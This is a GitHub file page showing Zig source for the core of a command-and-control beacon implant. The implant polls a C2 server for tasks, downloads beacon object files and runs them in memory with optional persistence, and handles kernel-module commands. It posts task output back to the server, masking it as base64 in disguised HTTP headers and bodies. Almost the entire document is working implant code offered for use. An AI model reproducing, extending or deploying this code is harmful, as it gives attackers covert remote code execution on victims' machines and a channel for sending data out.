-
Notifications
You must be signed in to change notification settings - Fork 29
Expand file tree
/
Copy pathz-beac0n-core.zig
More file actions
823 lines (656 loc) · 29.8 KB
/
Copy pathz-beac0n-core.zig
File metadata and controls
823 lines (656 loc) · 29.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
const std = @import("std");
const assert = std.debug.assert;
const bof = @import("bof_launcher_api");
const beacon = @import("bof_api").beacon;
const zbeac0n = @import("z-beac0n-common.zig");
const bofapi = @import("bof_api");
comptime {
@import("bof_api").embedFunctionCode("__stackprobe__");
@import("bof_api").embedFunctionCode("memcpy");
@import("bof_api").embedFunctionCode("memset");
@import("bof_api").embedFunctionCode("memmove");
@import("bof_api").embedFunctionCode("__udivdi3");
@import("bof_api").embedFunctionCode("__divti3");
@import("bof_api").embedFunctionCode("__divdi3");
@import("bof_api").embedFunctionCode("__ashlti3");
@import("bof_api").embedFunctionCode("__ashldi3");
@import("bof_api").embedFunctionCode("__lshrdi3");
@import("bof_api").embedFunctionCode("__aeabi_ldivmod");
@import("bof_api").embedFunctionCode("__aeabi_uldivmod");
@import("bof_api").embedFunctionCode("__aeabi_uidivmod");
@import("bof_api").embedFunctionCode("__aeabi_uidiv");
@import("bof_api").embedFunctionCode("__aeabi_llsl");
@import("bof_api").embedFunctionCode("__aeabi_llsr");
}
pub const panic = std.debug.no_panic;
pub const std_options = std.Options{
.http_disable_tls = true,
.log_level = .info,
};
const debug_proxy_enabled = false;
const debug_proxy_host = "127.0.0.1";
const debug_proxy_port = 8080;
// BOF-specific error codes
const BofErrors = enum(u8) {
OutOfMemory,
netInitError,
UnknownError,
};
//
// ----------------------------------------------------------------------------
//
fn netInit(allocator: *anyopaque) callconv(.c) *anyopaque {
const alloc: *std.mem.Allocator = @ptrCast(@alignCast(allocator));
return netHttpInit(alloc.*) catch unreachable;
}
fn netHttpInit(allocator: std.mem.Allocator) !*std.http.Client {
// create proxy if set so
const http_proxy = if (debug_proxy_enabled) blk: {
const proxy = try allocator.create(std.http.Client.Proxy);
proxy.* = .{
.protocol = .plain,
.authorization = null,
.host = debug_proxy_host,
.port = debug_proxy_port,
.supports_connect = true,
};
break :blk proxy;
} else null;
// create and return http_client
const http_client = try allocator.create(std.http.Client);
http_client.* = .{
.allocator = allocator,
.http_proxy = http_proxy,
};
return @ptrCast(http_client);
}
fn netConnect(state: *anyopaque, connectionType: zbeac0n.netConnectionType, extra_data: ?*anyopaque) callconv(.c) ?*anyopaque {
const s: *zbeac0n.State = @ptrCast(@alignCast(state));
const res = netHttpConnect(s, connectionType, extra_data) catch |err| switch (err) {
error.OutOfMemory => return null,
else => return null,
};
return @ptrCast(res);
}
fn netHttpConnect(s: *zbeac0n.State, connectionType: zbeac0n.netConnectionType, extra_data: ?*anyopaque) !*std.http.Client.Connection {
const http_client: *std.http.Client = @ptrCast(@alignCast(s.net_client));
var address: []const u8 = undefined;
var host: []const u8 = undefined;
var port: u16 = undefined;
const proto: std.http.Client.Protocol = .plain;
_ = extra_data;
if (connectionType == zbeac0n.netConnectionType.Heartbeat) {
address = s.c2_host;
} else if (connectionType == zbeac0n.netConnectionType.ResourceFetch) {
address = s.assets_host;
} else if (connectionType == zbeac0n.netConnectionType.TaskResult) {
address = s.c2_host;
}
var iter = std.mem.splitScalar(u8, address, ':');
const h = iter.next() orelse return error.BadData;
host = try s.allocator.dupe(u8, h);
port = try std.fmt.parseInt(u16, iter.next() orelse return error.BadData, 10);
const conn = try http_client.connect(host, port, proto);
conn.closing = true;
if (http_client.http_proxy != null)
conn.proxied = true;
return conn;
}
fn netDisconnect(state: *anyopaque, net_connection: *anyopaque) callconv(.c) void {
//const s: *zbeac0n.State = @ptrCast(@alignCast(state));
//const conn: *std.http.Client.Connection = @ptrCast(@alignCast(net_connection));
//
_ = net_connection;
_ = state;
std.log.info("in netDisconnect", .{});
//conn.close(s.allocator);
}
fn netExchange(
state: *anyopaque,
connectionType: zbeac0n.netConnectionType,
net_connection: *anyopaque,
len: *u32,
extra_data: ?*anyopaque,
) callconv(.c) ?*anyopaque {
const s: *zbeac0n.State = @ptrCast(@alignCast(state));
const conn: *std.http.Client.Connection = @ptrCast(@alignCast(net_connection));
const res = netHttpExchange(s, connectionType, conn, len, extra_data) catch |err| switch (err) {
error.OutOfMemory => return null,
else => return null,
};
if (res != null) {
return @ptrCast(res.?.ptr);
}
return null;
}
fn netHttpExchange(
s: *zbeac0n.State,
connectionType: zbeac0n.netConnectionType,
conn: *std.http.Client.Connection,
len: *u32,
extra_data: ?*anyopaque,
) !?[]u8 {
const http_client: *std.http.Client = @ptrCast(@alignCast(s.net_client));
var http_method: std.http.Method = undefined;
var uri: std.Uri = undefined;
var body_data: ?[]u8 = null;
var bof_res: ?*zbeac0n.BofRes = null;
var masked_body_len: u32 = 0;
//
// PREAPRE REQUEST FOR SENDING
//
var http_reqOptions: std.http.Client.RequestOptions = .{
.keep_alive = true,
.connection = conn,
};
// query C2 for new tasks (GET_TASK)
if (connectionType == .Heartbeat) {
http_method = .GET;
const url = try std.fmt.allocPrint(s.allocator, "http://{s}{s}", .{ s.c2_host, s.c2_endpoint });
uri = try std.Uri.parse(url);
// apply HTTP header transforms
_ = s.implant_actions.netMasquerade(s, connectionType, &http_reqOptions, null, len);
// fetching for a resource as indicated in 'extra_data' (GET_RESOURCE)
} else if (connectionType == .ResourceFetch and extra_data != null) {
// in case of ResourceFetch exchange extra_data is a 0-terminated path to the resource
const bof_path: []const u8 = std.mem.sliceTo(@as([*:0]const u8, @ptrCast(extra_data)), 0);
std.log.info("in netExchange: ResurceFetch {s}", .{bof_path});
http_method = .GET;
const url = try std.fmt.allocPrint(s.allocator, "http://{s}{s}", .{ s.assets_host, bof_path });
uri = try std.Uri.parse(url);
// apply HTTP header transforms
_ = s.implant_actions.netMasquerade(s, connectionType, &http_reqOptions, null, len);
// returning results of an already completed task (POST_RESULT)
} else if (connectionType == .TaskResult and extra_data != null) {
// in case of TaskResult exchange extra_data is a length len.*
bof_res = @as(*zbeac0n.BofRes, @ptrCast(@alignCast(extra_data)));
http_method = std.http.Method.POST;
const url = try std.fmt.allocPrint(s.allocator, "http://{s}{s}", .{ s.c2_host, s.c2_endpoint });
uri = try std.Uri.parse(url);
// apply HTTP header transforms and
// mask body data according to transforms implemented in netMasquerade(...) and assign it to 'body_data' which will be sent
masked_body_len = 0;
const masked_body: ?[*]u8 = @ptrCast(s.implant_actions.netMasquerade(
s,
connectionType,
&http_reqOptions,
bof_res,
&masked_body_len,
));
if (masked_body) |body| {
body_data = @as([*]u8, @ptrCast(@constCast(body)))[0..masked_body_len];
}
}
//
// SENDING REQUEST
//
// create HTTP request
var http_request = try http_client.request(http_method, uri, http_reqOptions);
defer http_request.deinit();
// in case of returning tasks results we send POST request
if (connectionType == .TaskResult and body_data != null) {
// sends HTTP body and header
http_request.transfer_encoding = .{ .content_length = body_data.?.len };
try http_request.sendBodyComplete(body_data.?);
// in other cases we send GET
} else {
// sends HTTP header only
try http_request.sendBodiless();
}
//
// RESPONSE PROCESSING
//
var response = try http_request.receiveHead(&.{});
if (response.head.status != .ok) {
return error.BadData;
}
// get body content
const body = try response.reader(&.{}).allocRemaining(s.allocator, .unlimited);
errdefer s.allocator.free(body);
// update body length
len.* = @intCast(body.len);
if (connectionType != .TaskResult) {
return body;
}
return null;
}
fn netMasquerade(state: *anyopaque, connectionType: zbeac0n.netConnectionType, hdr_to_mask: *anyopaque, data_to_mask: ?*anyopaque, len: *u32) callconv(.c) ?*anyopaque {
const s: *zbeac0n.State = @ptrCast(@alignCast(state));
const http_reqOptions: *std.http.Client.RequestOptions = @ptrCast(@alignCast(hdr_to_mask));
const res = netHttpMasquerade(s, connectionType, http_reqOptions, data_to_mask, len) catch |err| switch (err) {
error.OutOfMemory => return null,
else => return null,
};
if (res != null) {
return @ptrCast(res.?.ptr);
} else return null;
}
fn netHttpMasquerade(s: *zbeac0n.State, connectionType: zbeac0n.netConnectionType, http_reqOptions: *std.http.Client.RequestOptions, data_to_mask: ?*anyopaque, len: *u32) !?[]u8 {
//
// Implement transforms based on type of the current connection
//
const b64_encoder = std.base64.Base64Encoder.init(std.base64.standard_alphabet_chars, '=');
if (connectionType == zbeac0n.netConnectionType.Heartbeat) {
//
// header transforms: base64(implantID) -> HTTP authorization header
//
const implant_identity_b64 = try s.allocator.alloc(u8, b64_encoder.calcSize(s.implant_identity.len));
_ = std.base64.Base64Encoder.encode(&b64_encoder, implant_identity_b64, s.implant_identity);
http_reqOptions.headers.authorization = std.http.Client.Request.Headers.Value{
.override = implant_identity_b64,
};
} else if (connectionType == zbeac0n.netConnectionType.ResourceFetch) {
//
// header transforms: base64(implantID) -> HTTP authorization header
//
const implant_identity_b64 = try s.allocator.alloc(u8, b64_encoder.calcSize(s.implant_identity.len));
_ = std.base64.Base64Encoder.encode(&b64_encoder, implant_identity_b64, s.implant_identity);
http_reqOptions.headers.authorization = std.http.Client.Request.Headers.Value{
.override = implant_identity_b64,
};
} else if (connectionType == zbeac0n.netConnectionType.TaskResult) {
const bof_res: ?*zbeac0n.BofRes = @ptrCast(@alignCast(data_to_mask));
// sth is wrong: nothing to mask
if (bof_res == null) return null;
// header transforms: taskID -> HTTP authorization header
const taskID = std.mem.sliceTo(bof_res.?.taskID, 0);
http_reqOptions.headers.authorization = std.http.Client.Request.Headers.Value{
.override = taskID,
};
// header transforms: string(result:{d}) -> HTTP user_agent header
http_reqOptions.headers.user_agent = std.http.Client.Request.Headers.Value{
.override = try std.fmt.allocPrint(s.allocator, "result:{d}", .{bof_res.?.status_code}),
};
// header transforms: content_type -> "text/html"
http_reqOptions.headers.content_type = std.http.Client.Request.Headers.Value{
.override = "text/html",
};
// data / body transforms: base64(body)
if (bof_res.?.output != null) {
const new_body_len = b64_encoder.calcSize(bof_res.?.len);
const out_b64 = try s.allocator.alloc(u8, new_body_len);
errdefer s.allocator.free(out_b64);
const body = @as([*]u8, @ptrCast(@constCast(bof_res.?.output)))[0..bof_res.?.len];
_ = b64_encoder.encode(out_b64, body);
std.log.info("Bof launcher output (base64): {s}", .{out_b64});
// update len and return pointer to new buffer
len.* = @intCast(new_body_len);
return out_b64;
}
}
return null;
}
fn netUnmasquerade(state: *anyopaque, connectionType: zbeac0n.netConnectionType, pkt_data: ?*anyopaque, len: *u32) callconv(.c) ?*anyopaque {
const s: *zbeac0n.State = @ptrCast(@alignCast(state));
const res = netHttpUnmasquerade(s, connectionType, pkt_data, len) catch |err| switch (err) {
error.OutOfMemory => return null,
else => return null,
};
if (res != null) {
return @ptrCast(res.?.ptr);
} else return null;
}
fn netHttpUnmasquerade(s: *zbeac0n.State, connectionType: zbeac0n.netConnectionType, pkt_data: ?*anyopaque, len: *u32) !?[]u8 {
_ = connectionType;
_ = s;
//TODO: else if based on connection type
if (pkt_data != null) {
const body = @as([*]u8, @ptrCast(@constCast(pkt_data.?)))[0..len.*];
// TODO: performs all needed transforms
len.* = @intCast(body.len);
return body;
}
return null;
}
//
// ----------------------------------------------------------------------------
//
fn receiveAndLaunchBof(allocator: std.mem.Allocator, state: *zbeac0n.State, task_fields: [][]const u8) !void {
const bof_task_id = task_fields[0];
//const bof_name = task_fields[1];
const bof_path = task_fields[2];
const bof_header = task_fields[3];
const bof_argv_b64 = task_fields[4];
std.log.info("bof_argv_b64: {s}", .{bof_argv_b64});
const b64_decoder = std.base64.Base64Decoder.init(std.base64.standard_alphabet_chars, '=');
const len = try b64_decoder.calcSizeForSlice(bof_argv_b64);
const bof_argv = try allocator.alloc(u8, len);
defer allocator.free(bof_argv);
_ = try b64_decoder.decode(bof_argv, bof_argv_b64);
// process BOF header { exec_mode:args_spec{iszZb}:retValue{void|u8}:bofHash:[persist] }
var bof_header_iter = std.mem.splitScalar(u8, bof_header, ':');
// get hint regarding execution mode
const exec_mode = bof_header_iter.next() orelse return error.BadData;
// TODO: properly handle arg types!
// get arguments specification string
//const args_spec = bof_header_iter.next() orelse return error.BadData;
_ = bof_header_iter.next() orelse return error.BadData;
// get BOF return value type
const no_ret_value = if (bof_header_iter.next()) |v| std.mem.eql(u8, v, "void") else false;
if(no_ret_value) {
std.log.info("ret value: void", .{});
}
else
std.log.info("ret value: u8", .{});
// get BOF's hash
const hash = try std.fmt.parseInt(u64, bof_header_iter.next() orelse return error.BadData, 16);
std.log.info("Received hash: 0x{x}", .{hash});
// keep BOF in memory after running it?
var is_persistent = if (bof_header_iter.next()) |v| std.mem.eql(u8, v, "persist") else false;
if(is_persistent)
std.log.info("Persisted", .{});
var is_loaded: bool = false;
var bof_to_exec: bof.Object = undefined;
// BOF was already loaded persistently and is available
if (state.persistent_bofs.get(hash)) |b| {
std.log.info("Re-using existing persistent BOF (hash: 0x{x})", .{hash});
bof_to_exec = b;
is_loaded = true;
if(!is_persistent) {
_ = state.persistent_bofs.remove(hash);
}
// else: we need to fetch BOF file content from C2 sever (GET_RESOURCE)
} else {
std.log.info("fetching BOF", .{});
const net_conn = state.implant_actions.netConnect(state, zbeac0n.netConnectionType.ResourceFetch, null);
if (net_conn) |conn| {
var body_len: u32 = 0;
const masked_bof_content: ?[*]u8 = @ptrCast(state.implant_actions.netExchange(state, zbeac0n.netConnectionType.ResourceFetch, conn, &body_len, @constCast(@ptrCast(bof_path.ptr))));
std.log.info("after BOF fetch (BOF size: {d})", .{body_len});
var new_body_len = body_len;
const bof_content: ?[*]u8 = @ptrCast(state.implant_actions.netUnmasquerade(state, zbeac0n.netConnectionType.ResourceFetch, @constCast(@ptrCast(masked_bof_content)), &new_body_len));
if (bof_content) |b| {
std.log.info("after BOF unmasquerade (new BOF size: {d})", .{new_body_len});
bof_to_exec = try bof.Object.initFromMemory(b[0..new_body_len]);
errdefer bof_to_exec.release();
if (is_persistent) {
try state.persistent_bofs.put(hash, bof_to_exec);
std.log.info("Loaded new persistent BOF (hash: 0x{x})", .{hash});
}
state.allocator.free(b[0..new_body_len]);
}
state.implant_actions.netDisconnect(state, conn);
}
}
var bof_context: ?*bof.Context = null;
errdefer if (bof_context) |context| context.release();
const bof_args = try bof.Args.init();
defer bof_args.release();
if (!std.mem.eql(u8, bof_argv, "")) {
std.log.info("bof_argv: {s}", .{bof_argv});
var iter = std.mem.tokenizeScalar(u8, bof_argv, ' ');
var i: u32 = 0;
// build 'bof_args' by parsing 'argv' and inspecting args_spec:
// possible values for args_spec: iszZb
bof_args.begin();
while (iter.next()) |arg| {
std.log.info("Adding arg: {s}", .{arg});
//if (args_spec[i] == 'b') {
// const buf = if (root.object.get(arg)) |value| buf: {
// const len = try state.base64_decoder.calcSizeForSlice(value.string);
// const buf = try allocator.alloc(u8, len);
// errdefer allocator.free(buf);
// _ = try state.base64_decoder.decode(buf, value.string);
// break :buf buf;
// } else null;
// defer if (buf) |b| allocator.free(b);
// std.log.info("buf: {s} {s}", .{ arg, buf.? });
// const trimmed_buf = std.mem.trimRight(u8, buf.?, "\n");
// const buf_len = try std.fmt.allocPrint(allocator, "i:{d}", .{trimmed_buf.len});
// defer allocator.free(buf_len);
// try bof_args.add(buf_len);
// try bof_args.add(std.mem.asBytes(&trimmed_buf.ptr));
//} else {
try bof_args.add(arg);
//}
i += 1;
}
bof_args.end();
}
if (std.mem.eql(u8, exec_mode, "inline")) {
std.log.info("Execution mode: {s}-based", .{exec_mode});
bof_context = try bof_to_exec.run(bof_args.getBuffer());
} else if (std.mem.eql(u8, exec_mode, "thread")) {
std.log.info("Execution mode: {s}-based", .{exec_mode});
bof_context = try bof_to_exec.runAsyncThread(
bof_args.getBuffer(),
null,
null,
);
} else if (std.mem.eql(u8, exec_mode, "process")) {
std.log.info("Execution mode: {s}-based", .{exec_mode});
bof_context = try bof_to_exec.runAsyncProcess(
bof_args.getBuffer(),
null,
null,
);
}
// callback is a special mode of operation that behaves as follows:
// 1. check if given BOF has go(...) function if so -> 2; else -> 3
// 2. execute go() as inline BOF (this implies creating bof.Context object)
// 3. call global_func_table.getPointers(bof) to provide BOF-stager's with implementation
// BOF isn't executed (i.e. bof.Context isn't created). It provides one or more
// function implementations for global_func_table. BOF is implicitly added to state.persistent_bofs.
else if (std.mem.eql(u8, exec_mode, "callback")) {
std.log.info("Execution mode: {s}-based", .{exec_mode});
state.implant_actions.attachFunctionality(bof_to_exec);
is_persistent = true;
try state.persistent_bofs.put(hash, bof_to_exec);
// BOF contains go(...) function, so execute it
if (bof_to_exec.getProcAddress("go") != null) {
bof_context = try bof_to_exec.run(bof_args.getBuffer());
} else {
// return here, as we do not create bof.Context so we don't want to append it to state.pending_bofs list
return;
}
}
if (bof_context) |context| {
try state.pending_bofs.append(.{
.context = context,
.task_id = try allocator.dupe(u8, bof_task_id),
.is_persistent = is_persistent,
.no_ret_value = no_ret_value,
});
} else return error.FailedToRunBof;
}
fn processTasks(allocator: std.mem.Allocator, state: *zbeac0n.State, resp_content: []u8) !void {
var task_fields = std.array_list.Managed([]const u8).init(allocator);
defer task_fields.deinit();
// handle task from C2, valid task's format:
// taskID,cmdName{type:name},[URI],[bofHeader{execMode:argTypes:retValue{void|u8}:bofHash:[persist]}],[base64(argv)]
var iter_task = std.mem.splitScalar(u8, resp_content, ',');
const task_id = iter_task.next() orelse return error.BadData;
try task_fields.append(task_id);
const task_name = iter_task.next() orelse return error.BadData;
try task_fields.append(task_name);
// for uri: make sure that it is \0 ended
const uri = iter_task.next();
var uri_final: [:0]const u8 = undefined;
if (uri) |u| {
uri_final = try allocator.dupeZ(u8, u);
} else {
uri_final = try allocator.dupeZ(u8, "");
}
try task_fields.append(uri_final);
defer allocator.free(uri_final);
const bofHeader = iter_task.next();
if (bofHeader) |h| try task_fields.append(h) else try task_fields.append("");
const argv = iter_task.next();
if (argv) |a| try task_fields.append(a) else try task_fields.append("");
if (task_fields.items.len != 5)
return error.BadData;
iter_task.reset();
std.log.info("Following task received:]\n", .{});
std.log.info("-------------------------------------------------------------\n", .{});
std.log.info("taskID: {s}", .{iter_task.next() orelse return error.BadData});
std.log.info("Command name: {s}", .{iter_task.next() orelse return error.BadData});
std.log.info("URI: {s}", .{iter_task.next() orelse return error.BadData});
std.log.info("bofHeader: {s}", .{iter_task.next() orelse return error.BadData});
std.log.info("argv: {s}", .{iter_task.next() orelse return error.BadData});
std.log.info("-------------------------------------------------------------\n", .{});
// check type of task to execute:
// bof - fetch and execute bof
// cmd - execute builtin command (like: sleep <sec>; release_persistent_bofs, etc.)
// kmod - fetch and load kernel module
// TODO: fs - execute chosen executable from victim's filesystem
var iter_command = std.mem.splitScalar(u8, task_name, ':');
const cmd_prefix = iter_command.next() orelse return error.BadData;
const cmd_name = iter_command.next() orelse return error.BadData;
// tasked for BOF execution?
if (std.mem.eql(u8, cmd_prefix, "bof")) {
std.log.info("Executing bof: {s}", .{cmd_name});
if (uri == null or bofHeader == null)
return error.BadData;
if (std.mem.eql(u8, uri.?, "") or std.mem.eql(u8, bofHeader.?, ""))
return error.BadData;
receiveAndLaunchBof(allocator, state, task_fields.items.ptr[0..task_fields.items.len]) catch |err| {
try state.pending_bofs.append(.{
.task_id = try allocator.dupe(u8, task_id),
// TODO: Error codes may change in Zig, this is hacky.
.launcher_error_code = @abs(@intFromError(err)) - 1000,
});
};
// tasked for kernel module loading?
} else if (std.mem.eql(u8, cmd_prefix, "kmod")) {
if (state.implant_actions.kmodLoad == null) {
std.log.info("Kernel module loading not implemented", .{});
return error.BadData;
}
//const kmod_path = root.object.get("path").?.string;
//const kmod_content = try fetchBlob(allocator, state, kmod_path);
//defer allocator.free(kmod_content);
//std.log.info("Loading kernel module: {s}", .{cmd_name});
//_ = state.implant_actions.kmodLoad.?(kmod_content.ptr, kmod_content.len, "paaarams");
// tasked for kernel module unloading?
} else if (std.mem.eql(u8, cmd_prefix, "kmodrm")) {
if (state.implant_actions.kmodRemove == null) {
std.log.info("Kernel module unloading not implemented", .{});
return error.BadData;
}
std.log.info("Removing kernel module: {s}", .{cmd_name});
_ = state.implant_actions.kmodRemove.?(@ptrCast(cmd_name.ptr), 0);
// tasked for custom command execution?
} else if (std.mem.eql(u8, cmd_prefix, "cmd")) {
std.log.info("Executing builtin command: {s}", .{cmd_name});
// tasked to execute cmd:release_persistent_bofs
if (std.mem.eql(u8, cmd_name, "release_persistent_bofs")) {
var it = state.persistent_bofs.valueIterator();
while (it.next()) |v| {
const bof_object = v.*;
bof_object.release();
}
state.persistent_bofs.clearAndFree();
}
}
}
fn processPendingBofs(allocator: std.mem.Allocator, state: *zbeac0n.State) !void {
var pending_bof_index: usize = 0;
// iterate thru all BOFs that are currently in 'state.pending_bofs' list
while (pending_bof_index != state.pending_bofs.items.len) {
const pending_bof = state.pending_bofs.items[pending_bof_index];
//
// BOF is still running
//
if (pending_bof.context != null and pending_bof.context.?.isRunning()) {
pending_bof_index += 1;
continue;
}
//
// BOF run is completed so check its status code and output
//
var bof_res = zbeac0n.BofRes{
.status_code = undefined,
.output = null,
.len = 0,
.taskID = undefined,
};
if(pending_bof.no_ret_value) {
bof_res.status_code = 0;
} else {
// checking status code
bof_res.status_code = if (pending_bof.context) |context|
@intCast(context.getExitCode())
else
pending_bof.launcher_error_code;
}
// getting task id
const tempSlice = try allocator.dupeZ(u8, pending_bof.task_id);
bof_res.taskID = tempSlice.ptr;
// checking output
if (pending_bof.context) |context| {
if (context.getOutput()) |boftput| {
const temp = try allocator.dupe(u8, boftput);
bof_res.output = temp.ptr;
bof_res.len = @intCast(boftput.len);
}
if (!pending_bof.is_persistent)
context.getObject().release();
context.release();
}
if (bof_res.len <= 0) {
const ts = try allocator.dupeZ(u8, "");
bof_res.output = ts.ptr;
bof_res.len = 0;
}
//
// Sending results (status code & output) to C2 server (POST_RESULT)
//
std.log.info("BOF status code: {d}", .{bof_res.status_code});
if (bof_res.len > 0) {
//std.log.info("BOF output len: {d}", .{bof_res.len});
std.log.info("Bof launcher output: {s}", .{bof_res.output.?[0..bof_res.len]});
}
// establishing connection
const net_conn = state.implant_actions.netConnect(state, zbeac0n.netConnectionType.TaskResult, null);
if (net_conn) |conn| {
var body_len: u32 = bof_res.len;
_ = state.implant_actions.netExchange(state, zbeac0n.netConnectionType.TaskResult, conn, &body_len, @constCast(@ptrCast(&bof_res)));
state.implant_actions.netDisconnect(state, conn);
}
allocator.free(pending_bof.task_id);
_ = state.pending_bofs.swapRemove(pending_bof_index);
}
}
pub export fn go(adata: ?[*]u8, alen: i32) callconv(.c) u8 {
@import("bof_api").init(adata, alen, .{});
var gpa = std.heap.GeneralPurposeAllocator(.{}){};
defer _ = gpa.deinit();
const allocator = gpa.allocator();
// attach default (i.e. builtin) C2 communication implementation
const implant_actions: zbeac0n.ImplantActions = .{
.netInit = netInit,
.netConnect = netConnect,
.netDisconnect = netDisconnect,
.netExchange = netExchange,
.netUnmasquerade = netUnmasquerade,
.netMasquerade = netMasquerade,
};
var state = zbeac0n.State.init(allocator, implant_actions) catch unreachable;
defer state.deinit(allocator);
std.log.info("z-beacon launched", .{});
while (true) {
// connect to the C2 server
const net_conn = state.implant_actions.netConnect(&state, zbeac0n.netConnectionType.Heartbeat, null);
if (net_conn) |conn| {
// query C2 server for new tasks (GET_TASK)
var body_len: u32 = 0;
const resp_content: ?[*]u8 = @ptrCast(state.implant_actions.netExchange(&state, zbeac0n.netConnectionType.Heartbeat, conn, &body_len, null));
// unmask received data and process command (if any)
if (body_len > 0) {
const unmasked_resp_content: ?[*]u8 = @ptrCast(state.implant_actions.netUnmasquerade(&state, zbeac0n.netConnectionType.Heartbeat, resp_content, &body_len));
if (unmasked_resp_content) |buf| {
std.log.info("Before processTasks", .{});
processTasks(allocator, &state, buf[0..body_len]) catch {};
std.log.info("After processTasks", .{});
}
}
// disconnect from C2 server
state.implant_actions.netDisconnect(&state, conn);
std.log.info("After netDisconnect", .{});
}
// process queued BOFs
processPendingBofs(allocator, &state) catch {};
// go to sleep
std.Thread.sleep(state.jitter * @as(u64, 1e9));
}
}